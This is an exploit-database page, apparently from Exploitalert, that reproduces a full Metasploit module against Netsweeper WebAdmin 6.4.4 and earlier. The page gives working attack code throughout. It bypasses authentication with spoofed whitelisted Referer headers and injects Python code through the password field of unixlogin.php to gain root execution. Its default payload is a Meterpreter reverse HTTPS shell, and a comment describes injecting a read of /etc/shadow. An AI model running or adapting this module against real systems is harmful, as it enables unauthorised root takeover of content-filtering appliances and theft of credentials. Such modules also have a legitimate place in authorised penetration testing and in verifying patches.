Advertisement






Netsweeper WebAdmin unixlogin.php Python Code Injection

CVE Category Price Severity
CVE-2021-39888 CWE-94: Code Injection $5,000 High
Author Risk Exploitation Type Date
Unknown High Remote 2020-05-13
CPE
cpe:Not available
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020050121

Below is a copy:

Netsweeper WebAdmin unixlogin.php Python Code Injection
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Netsweeper WebAdmin unixlogin.php Python Code Injection',
        'Description' => %q{
          This module exploits a Python code injection in the Netsweeper
          WebAdmin component's unixlogin.php script, for versions 6.4.4 and
          prior, to execute code as the root user.

          Authentication is bypassed by sending a random whitelisted Referer
          header in each request.

          Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
          Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
          been confirmed exploitable.
        },
        'Author' => [
          # Reported to SecuriTeam SSD by an anonymous researcher
          # Reference exploit written by said anonymous researcher
          # Publicly disclosed by Noam Rathaus of SecuriTeam's SSD
          'wvu' # Module
        ],
        'References' => [
          ['URL', 'https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/'],
          ['URL', 'https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says']
        ],
        'DisclosureDate' => '2020-04-28', # SecuriTeam SSD advisory
        'License' => MSF_LICENSE,
        'Platform' => 'python',
        'Arch' => ARCH_PYTHON,
        'Privileged' => true,
        'Targets' => [['Python', {}]],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'PAYLOAD' => 'python/meterpreter/reverse_https'
        },
        'Notes' => {
          'NOCVE' => 'Publicly disclosed via SecuriTeam SSD advisory',
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path,
                             '/webadmin/tools/systemstatus_remote.php'),
      'headers' => {
        'Referer' => rand_referer(:check) # Auth bypass via Referer header
      }
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check request.')
    end

    unless res.code == 200
      return CheckCode::Unknown('Target is not running Netsweeper.')
    end

    if res.body.include?('Permission Denied: Unauthorized access.')
      return CheckCode::Safe('Target has rejected our Referer auth bypass.')
    end

    # Example version information from /webadmin/tools/systemstatus_remote.php:
    #   Version: 6.4.3
    #   Build Date: 2020-03-27 14:15:19
    #   Database Version: 139
    unless (version = res.body.scan(/^Version: ([\d.]+)$/).flatten.first)
      return CheckCode::Detected(
        'Target did not respond with Netsweeper version.'
      )
    end

    if Gem::Version.new(version) <= Gem::Version.new('6.4.4')
      return CheckCode::Appears(
        "Netsweeper #{version} is a vulnerable version."
      )
    end

    CheckCode::Safe("Netsweeper #{version} is NOT a vulnerable version.")
  end

  def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super

    referer = rand_referer(:exploit)
    vprint_status("Selecting random whitelisted Referer header: #{referer}")
    vprint_status("Injecting Python code into password field: #{fake_password}")

    normie_uri = normalize_uri(target_uri.path, '/webadmin/tools/unixlogin.php')
    print_status("Sending #{datastore['PAYLOAD']} to #{full_uri(normie_uri)}")

    # The application may block on the payload, so time out reasonably soon
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normie_uri,
      'headers' => {
        'Referer' => referer
      },
      'vars_post' => {
        'login' => '.', # Bypass user check by injecting `grep . /etc/shadow'
        'password' => fake_password
      }
    }, 3.5)

    return unless res

    # An unexpected reply typically means some sort of error, so print it out
    fail_with(Failure::UnexpectedReply, res.body)
  end

  def fake_password
    return @fake_password if @fake_password

    # Arguments for crypt.crypt(): https://docs.python.org/2/library/crypt.html
    word = rand_text_alphanumeric(8..42)
    salt = rand_text_alphanumeric(2) # This is DES-safe because we remove algo

    # Python code injection occurs in the $2 positional parameter from sh(1):
    #   password=$($PYTHON -c "import crypt; print crypt.crypt('$2', '\$$algo\$$salt\$')")
    @fake_password = "#{word}', '#{salt}'); #{payload.encoded} #"
  end

  # Select a random Referer [sic] header value from an appropriate whitelist
  def rand_referer(method = :check)
    case method
    when :check
      %w[
        webadmin/admin/systemstatus_inc_data.php
        webadmin/api/
        webadmin/common/systemstatus_overview_ajax.php
      ].sample
    when :exploit
      %w[
        systemconfig/edit_database_settings.php
        systemconfig/edit_file.php
        systemconfig/manage_certs.php
        webadmin/admin/service_manager_data.php
        webadmin/api/
        webadmin/systemconfig/edit_email_sending_settings.php
        webadmin/systemconfig/grant_db_access.php
      ].sample
    else
      fail_with(Failure::BadConfig,
                "I don't know how to #{method}, but I do know how to love")
    end
  end

end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum